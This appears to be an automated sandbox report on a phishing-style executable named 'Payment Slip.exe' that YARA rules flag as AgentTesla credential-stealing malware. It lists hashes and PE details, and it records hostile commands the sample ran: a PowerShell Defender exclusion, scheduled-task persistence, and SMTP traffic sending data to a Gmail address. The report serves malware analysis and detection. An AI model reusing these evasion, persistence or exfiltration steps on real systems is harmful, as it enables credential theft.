                                                              Preview:# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....127.0.0.1

                                                              \Device\ConDrv

                                                              Download File
                                                              Process:C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):1141
                                                              Entropy (8bit):4.44831826838854
                                                              Encrypted:false
                                                              SSDEEP:24:zKLXkb4DObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0b4DQntKKH1MqJC
                                                              MD5:1AEB3A784552CFD2AEDEDC1D43A97A4F
                                                              SHA1:804286AB9F8B3DE053222826A69A7CDA3492411A
                                                              SHA-256:0BC438F4B1208E1390C12D375B6CBB08BF47599D1F24BD07799BB1DF384AA293
                                                              SHA-512:5305059BA86D5C2185E590EC036044B2A17ED9FD9863C2E3C7E7D8035EF0C79E53357AF5AE735F7D432BC70156D4BD3ACB42D100CFB05C2FB669EA22368F1415
                                                              Malicious:false
                                                              Preview:Microsoft (R) .NET Framework Services Installation Utility Version 4.7.3056.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

                                                              Static File Info

                                                              General

                                                              File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                              Entropy (8bit):7.756816368829058
                                                              TrID:
                                                              • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                              • Win32 Executable (generic) a (10002005/4) 49.75%
                                                              • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                              • Windows Screen Saver (13104/52) 0.07%
                                                              • Generic Win/DOS Executable (2004/3) 0.01%
                                                              File name:Payment Slip.exe
                                                              File size:762880
                                                              MD5:29b03eb0f987f638b99ef23c8e3681ad
                                                              SHA1:174069ad27d00891343e794167abf298cb5f3e5b
                                                              SHA256:e799a969eca8b72287a0b6a1b7015d6a47fa07e30d960b1a33b2e8178efd80a8
                                                              SHA512:055b7aed9075d4418ace9cacdfcc82649114e172b550777bc9818ec7937d15deede6168af3ef80e29e50f970b2b2966ba5dc6517126dabbf48482dcb2c81fadc
                                                              SSDEEP:12288:A/sIP9M2S9bHoAUTvqVhe+TMAzsr4the/MNE/5xvI9TwDsRAbRdra6tpfmL1g3sG:SsIP99+bHo02Azhh8BqUIERaW+Bg3scT
                                                              TLSH:33F4F10072F84B22E67A67FE9670518407B6BD986520E34E1DD27CDB3A71F528E81F1B
                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b..............0..H...Z......"f... ........@.. ....................................@................................

                                                              File Icon

                                                              Icon Hash:4462f276dcec30e6

                                                              Static PE Info

                                                              General

                                                              Entrypoint:0x4b6622
                                                              Entrypoint Section:.text
                                                              Digitally signed:false
                                                              Imagebase:0x400000
                                                              Subsystem:windows gui
                                                              Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                                              DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                              Time Stamp:0x6290A4CD [Fri May 27 10:15:41 2022 UTC]
                                                              TLS Callbacks:
                                                              CLR (.Net) Version:v4.0.30319
                                                              OS Version Major:4
                                                              OS Version Minor:0
                                                              File Version Major:4
                                                              File Version Minor:0
                                                              Subsystem Version Major:4
                                                              Subsystem Version Minor:0
                                                              Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                              Entrypoint Preview

                                                              Instruction
                                                              jmp dword ptr [00402000h]
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al
                                                              add byte ptr [eax], al

                                                              Data Directories

                                                              NameVirtual AddressVirtual Size Is in Section
                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xb65d00x4f.text
                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xb80000x57ec.rsrc
                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0xbe0000xc.reloc
                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0xb64980x1c.text
                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                              Sections

                                                              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                              .text0x20000xb46280xb4800False0.868293910145data7.7554882987IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                              .rsrc0xb80000x57ec0x5800False0.965287642045data7.89380013839IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .reloc0xbe0000xc0x200False0.044921875data0.101910425663IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                              Resources

                                                              NameRVASizeTypeLanguageCountry
                                                              RT_ICON0xb81000x51a3PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
                                                              RT_GROUP_ICON0xbd2b40x14data
                                                              RT_VERSION0xbd2d80x314data
                                                              RT_MANIFEST0xbd5fc0x1eaXML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                                              Imports

                                                              DLLImport
                                                              mscoree.dll_CorExeMain

                                                              Version Infos

                                                              DescriptionData
                                                              Translation0x0000 0x04b0
                                                              LegalCopyright
                                                              Assembly Version1.0.0.0
                                                              InternalNameCustomAttributeExtensi.exe
                                                              FileVersion1.0.0.0
                                                              CompanyName
                                                              LegalTrademarks
                                                              Comments
                                                              ProductName
                                                              ProductVersion1.0.0.0
                                                              FileDescription
                                                              OriginalFilenameCustomAttributeExtensi.exe

                                                              Network Behavior

                                                              Network Port Distribution

                                                              TCP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              May 27, 2022 15:45:35.849085093 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:36.132412910 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:36.132684946 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:40.029767036 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:40.047146082 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:40.329358101 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:40.330471992 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:40.612961054 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:40.613718033 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:40.903496027 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:40.904902935 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:41.187028885 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:41.224742889 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:41.518543005 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:41.518927097 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:41.800950050 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:41.801002026 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:41.802349091 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:41.802512884 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:41.803222895 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:41.803284883 CEST49777587192.168.2.7206.189.39.129
                                                              May 27, 2022 15:45:42.084566116 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:42.084865093 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:42.101870060 CEST58749777206.189.39.129192.168.2.7
                                                              May 27, 2022 15:45:42.152637959 CEST49777587192.168.2.7206.189.39.129

                                                              UDP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              May 27, 2022 15:45:35.424194098 CEST5414353192.168.2.78.8.8.8
                                                              May 27, 2022 15:45:35.738518953 CEST53541438.8.8.8192.168.2.7
                                                              May 27, 2022 15:45:35.803163052 CEST6337753192.168.2.78.8.8.8
                                                              May 27, 2022 15:45:35.820983887 CEST53633778.8.8.8192.168.2.7

                                                              DNS Queries

                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                              May 27, 2022 15:45:35.424194098 CEST192.168.2.78.8.8.80x4de5Standard query (0)mail.subnet-group.comA (IP address)IN (0x0001)
                                                              May 27, 2022 15:45:35.803163052 CEST192.168.2.78.8.8.80x8978Standard query (0)mail.subnet-group.comA (IP address)IN (0x0001)

                                                              DNS Answers

                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                              May 27, 2022 15:45:35.738518953 CEST8.8.8.8192.168.2.70x4de5No error (0)mail.subnet-group.comsubnet-group.comCNAME (Canonical name)IN (0x0001)
                                                              May 27, 2022 15:45:35.738518953 CEST8.8.8.8192.168.2.70x4de5No error (0)subnet-group.com206.189.39.129A (IP address)IN (0x0001)
                                                              May 27, 2022 15:45:35.820983887 CEST8.8.8.8192.168.2.70x8978No error (0)mail.subnet-group.comsubnet-group.comCNAME (Canonical name)IN (0x0001)
                                                              May 27, 2022 15:45:35.820983887 CEST8.8.8.8192.168.2.70x8978No error (0)subnet-group.com206.189.39.129A (IP address)IN (0x0001)

                                                              SMTP Packets

                                                              TimestampSource PortDest PortSource IPDest IPCommands
                                                              May 27, 2022 15:45:40.029767036 CEST58749777206.189.39.129192.168.2.7220-secure-3.ceedex.net ESMTP Exim 4.95 #2 Fri, 27 May 2022 21:45:39 +0800
                                                              220-We do not authorize the use of this system to transport unsolicited,
                                                              220 and/or bulk e-mail.
                                                              May 27, 2022 15:45:40.047146082 CEST49777587192.168.2.7206.189.39.129EHLO 767668
                                                              May 27, 2022 15:45:40.329358101 CEST58749777206.189.39.129192.168.2.7250-secure-3.ceedex.net Hello 767668 [102.129.143.42]
                                                              250-SIZE 52428800
                                                              250-8BITMIME
                                                              250-PIPELINING
                                                              250-PIPE_CONNECT
                                                              250-AUTH PLAIN LOGIN
                                                              250-STARTTLS
                                                              250 HELP
                                                              May 27, 2022 15:45:40.330471992 CEST49777587192.168.2.7206.189.39.129AUTH login ZWRuYUBzdWJuZXQtZ3JvdXAuY29t
                                                              May 27, 2022 15:45:40.612961054 CEST58749777206.189.39.129192.168.2.7334 UGFzc3dvcmQ6
                                                              May 27, 2022 15:45:40.903496027 CEST58749777206.189.39.129192.168.2.7235 Authentication succeeded
                                                              May 27, 2022 15:45:40.904902935 CEST49777587192.168.2.7206.189.39.129MAIL FROM:<edna@subnet-group.com>
                                                              May 27, 2022 15:45:41.187028885 CEST58749777206.189.39.129192.168.2.7250 OK
                                                              May 27, 2022 15:45:41.224742889 CEST49777587192.168.2.7206.189.39.129RCPT TO:<eh746746@gmail.com>
                                                              May 27, 2022 15:45:41.518543005 CEST58749777206.189.39.129192.168.2.7250 Accepted
                                                              May 27, 2022 15:45:41.518927097 CEST49777587192.168.2.7206.189.39.129DATA
                                                              May 27, 2022 15:45:41.801002026 CEST58749777206.189.39.129192.168.2.7354 Enter message, ending with "." on a line by itself
                                                              May 27, 2022 15:45:41.803284883 CEST49777587192.168.2.7206.189.39.129.
                                                              May 27, 2022 15:45:42.101870060 CEST58749777206.189.39.129192.168.2.7250 OK id=1nuaHe-0005DU-1M

                                                              Statistics

                                                              Behavior

                                                              Click to jump to process

                                                              System Behavior

                                                              General

                                                              Target ID:1
                                                              Start time:15:44:55
                                                              Start date:27/05/2022
                                                              Path:C:\Users\user\Desktop\Payment Slip.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Users\user\Desktop\Payment Slip.exe"
                                                              Imagebase:0x530000
                                                              File size:762880 bytes
                                                              MD5 hash:29B03EB0F987F638B99EF23C8E3681AD
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:.Net C# or VB.NET
                                                              Yara matches:
                                                              • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 00000001.00000002.431474395.0000000007210000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                              • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.428332559.0000000003BE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.428332559.0000000003BE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              Reputation:low

                                                              General

                                                              Target ID:4
                                                              Start time:15:45:19
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe
                                                              Imagebase:0xf0000
                                                              File size:430592 bytes
                                                              MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:.Net C# or VB.NET
                                                              Reputation:high

                                                              General

                                                              Target ID:5
                                                              Start time:15:45:19
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff7bab80000
                                                              File size:625664 bytes
                                                              MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:6
                                                              Start time:15:45:19
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\SysWOW64\schtasks.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aXqntX" /XML "C:\Users\user\AppData\Local\Temp\tmp62DF.tmp
                                                              Imagebase:0x910000
                                                              File size:185856 bytes
                                                              MD5 hash:15FF7D8324231381BAD48A052F85DF04
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:7
                                                              Start time:15:45:20
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff7bab80000
                                                              File size:625664 bytes
                                                              MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:10
                                                              Start time:15:45:22
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              Imagebase:0x590000
                                                              File size:45152 bytes
                                                              MD5 hash:2867A3817C9245F7CF518524DFD18F28
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:.Net C# or VB.NET
                                                              Yara matches:
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000000.422706976.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000000.422706976.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.633233938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000002.633233938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000000.423015971.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000000.423015971.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000000.422359021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000000.422359021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000000.421937006.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000000.421937006.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              Reputation:high

                                                              General

                                                              Target ID:15
                                                              Start time:15:45:38
                                                              Start date:27/05/2022
                                                              Path:C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe"
                                                              Imagebase:0x80000
                                                              File size:45152 bytes
                                                              MD5 hash:2867A3817C9245F7CF518524DFD18F28
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:.Net C# or VB.NET
                                                              Antivirus matches:
                                                              • Detection: 0%, Metadefender, Browse
                                                              • Detection: 0%, ReversingLabs
                                                              Reputation:high

                                                              General

                                                              Target ID:16
                                                              Start time:15:45:39
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff7bab80000
                                                              File size:625664 bytes
                                                              MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:17
                                                              Start time:15:45:47
                                                              Start date:27/05/2022
                                                              Path:C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe"
                                                              Imagebase:0xff0000
                                                              File size:45152 bytes
                                                              MD5 hash:2867A3817C9245F7CF518524DFD18F28
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:.Net C# or VB.NET
                                                              Reputation:high

                                                              General

                                                              Target ID:18
                                                              Start time:15:45:48
                                                              Start date:27/05/2022
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff7bab80000
                                                              File size:625664 bytes
                                                              MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language

                                                              Disassembly

                                                              ⊘No disassembly